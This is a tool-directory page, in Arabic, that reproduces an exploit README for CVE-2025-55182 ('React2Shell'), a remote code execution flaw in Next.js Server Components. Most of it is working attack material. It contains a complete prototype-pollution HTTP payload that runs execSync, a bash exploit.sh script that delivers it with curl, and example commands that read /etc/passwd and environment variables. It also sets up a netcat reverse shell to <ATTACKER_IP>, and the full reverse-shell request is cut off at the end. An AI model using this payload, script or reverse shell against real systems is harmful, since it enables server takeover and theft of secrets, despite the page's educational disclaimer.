Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
react2shell-exploit — CVE-2025-55182، المعروفة أيضًا باسم React2Shell، هي ثغرة أمنية حرجة تؤثر على تطبيقات Next.js التي تستخدم React Server Components (RSC) وServer Actions. | Kitploit
أدوات/GitHubGitHub/yannisduvignau/react2shell-exploit
الاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعدتطوير الحمولات
GitHubyannisduvignau/react2shell-exploit

react2shell-exploit

CVE-2025-55182، المعروفة أيضًا باسم React2Shell، هي ثغرة أمنية حرجة تؤثر على تطبيقات Next.js التي تستخدم React Server Components (RSC) وServer Actions.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
11منذ 4 أشهرلم تتم المراجعة بعد
مشاركة

CVE-2025-55182 – React2Shell

تنفيذ الأوامر عن بُعد في Next.js

⚠️ إخلاء مسؤولية: هذه الوثائق مقدمة لأغراض تعليمية وبحوث أمنية فقط. أي استخدام غير مصرح به لهذه التقنيات ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني.


📋 جدول المحتويات

  1. نظرة عامة
  2. كيف يعمل
  3. التثبيت والإعداد
  4. الاستغلال خطوة بخطوة
  5. النتائج والتأثير
  6. استراتيجيات التخفيف

نظرة عامة

CVE-2025-55182، المعروف أيضاً باسم React2Shell، هو ثغرة أمنية حرجة تؤثر على تطبيقات Next.js التي تستخدم:

  • مكونات React Server Components (RSC)
  • Server Actions

لماذا هو خطير؟

يمكن للمهاجم تحقيق تنفيذ الأوامر عن بُعد (RCE) على الخادم من خلال استغلال:

  1. إلغاء التسلسل غير الآمن لحمولات RSC
  2. تلوث النموذج الأولي عبر __proto__ وconstructor
  3. مسارات تنفيذ ديناميكية في بيئة تشغيل خادم Next.js

النتيجة: يمكن تنفيذ أوامر نظام تعسفية بصلاحيات عملية Node.js.


كيف يعمل

المرحلة 1: بروتوكول RSC في Next.js

يستخدم Next.js بروتوكول multipart/form-data مملوكاً للتواصل بين العميل والخادم:

  • يرسل العميل React Server Components إلى الخادم
  • يقوم الخادم بإلغاء تسلسلها ومعالجتها
  • تُعاد النتيجة إلى العميل
Client (Browser)
    ↓
[multipart/form-data RSC payload]
    ↓
Next.js Server
    ↓
Deserialization + Execution
    ↓
Response

المرحلة 2: موطن الضعف - إلغاء التسلسل غير الآمن

توجد الثغرة للأسباب التالية:

  1. لا يتم التحقق من البيانات التي يتحكم بها المستخدم قبل إلغاء التسلسل
  2. يُسمح بالوصول إلى سلسلة النموذج الأولي (__proto__, constructor)
  3. يتم تقييم حقول معينة ديناميكياً أثناء معالجة الطلب

المرحلة 3: هجوم تلوث النموذج الأولي

يمكن للمهاجم صياغة حمولة تعدل خصائص الكائنات الداخلية:

{
  "then": "$1:__proto__:then",  // Targets the prototype chain
  "_response": {
    "_prefix": "malicious code here"  // Code injection
  }
}

من خلال استغلال __proto__، يلوث المهاجم النموذج الأولي لكائنات JavaScript، مما يؤثر على جميع الكائنات التي ترث منه.

المرحلة 4: حقن الأكواد

داخل حقل _prefix، يحقن المهاجم كود JavaScript يقوم بـ:

  1. الوصول إلى وحدة Node.js عبر process.mainModule.require()
  2. تحميل وحدة child_process
  3. تنفيذ أوامر النظام باستخدام execSync()
var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();

المرحلة 5: استخراج النتيجة

تكون نتيجة الأمر مخفية في استجابة الخطأ:

throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});

يعيد Next.js هذا الخطأ إلى العميل، ويكون ناتج الأمر مرئياً في حقل digest.


التثبيت والإعداد

المتطلبات الأساسية

  • Node.js 20
  • Burp Suite (أو أداة مشابهة لاعتراض الطلبات)
  • curl أو Postman (لإرسال الحمولات)

الخطوة 1: استنساخ وتثبيت الخادم الضعيف

# Clone the PoC
git clone https://github.com/msanft/CVE-2025-55182.git
mv CVE-2025-55182/test-server ./
rm -rf CVE-2025-55182

# Install Node.js 20
nvm install 20
nvm use 20

# Install dependencies
cd test-server
npm install

الخطوة 2: تشغيل الخادم

npm run dev

أصبح الخادم الآن متاحاً على:

http://localhost:3000

الخطوة 3: التحقق من تشغيل الخادم

curl http://localhost:3000/

في هذه المرحلة، يتصرف الخادم بشكل طبيعي.


الاستغلال خطوة بخطوة

النهج 1: استخدام Burp Suite (الاعتراض اليدوي)

الخطوة 1: تفعيل الاعتراض

  1. افتح Burp Suite
  2. انتقل إلى علامة التبويب Proxy → Intercept
  3. فعّل Intercept is on
  4. افتح http://localhost:3000/ في متصفحك

الخطوة 2: اعتراض الطلب

سيتم اعتراض طلب GET. أرسله إلى علامة التبويب Repeater:

  1. انقر بزر الماوس الأيمن → Send to Repeater
  2. انتقل إلى علامة التبويب Repeater

الخطوة 3: الاستبدال بالحمولة الخبيثة

استبدل الطلب بالكامل بالحمولة التالية:

POST / HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

الخطوة 4: إرسال الطلب

انقر على Send


النهج 2: سكربت استغلال آلي

أنشئ ملف exploit.sh:

#!/bin/bash

TARGET_HOST="localhost"
TARGET_PORT="3000"
COMMAND="id"

# Build the payload
PAYLOAD=$(cat <<'EOF'
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('COMMAND_HERE',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
EOF
)

# Replace the command
PAYLOAD="${PAYLOAD//COMMAND_HERE/$COMMAND}"

# Send the request
curl -v -X POST "http://${TARGET_HOST}:${TARGET_PORT}/" \
  -H "Next-Action: x" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9" \
  --data-raw "$PAYLOAD"

اجعله قابلاً للتنفيذ:

chmod +x exploit.sh
./exploit.sh

أمثلة على الأوامر

سرد الملفات والمجلدات

COMMAND="ls -la /"

الحصول على المستخدم الحالي

COMMAND="whoami"

قراءة ملف

COMMAND="cat /etc/passwd"

التحقق من اتصالات الشبكة

COMMAND="netstat -tuln"

الحصول على متغيرات البيئة

COMMAND="env"

الصدفة العكسية (وصول كامل إلى الخادم)

للحصول على وصول تفاعلي كامل للصدفة، استخدم صدفة عكسية.

على جهاز المهاجم: الاستماع للاتصالات

ncat -lvnp 9009

أو باستخدام netcat:

nc -lvnp 9009

على الهدف: إرسال حمولة الصدفة العكسية

عدّل الحمولة بالأمر التالي (استبدل <ATTACKER_IP> بعنوان IP الخاص بك):

COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> 9009 >/tmp/f"

تصبح الحمولة الكاملة:

POST / HTTP/1.1
Host: <TARGET_IP>:<TARGET_PORT>
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 821

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
تنزيل الأداة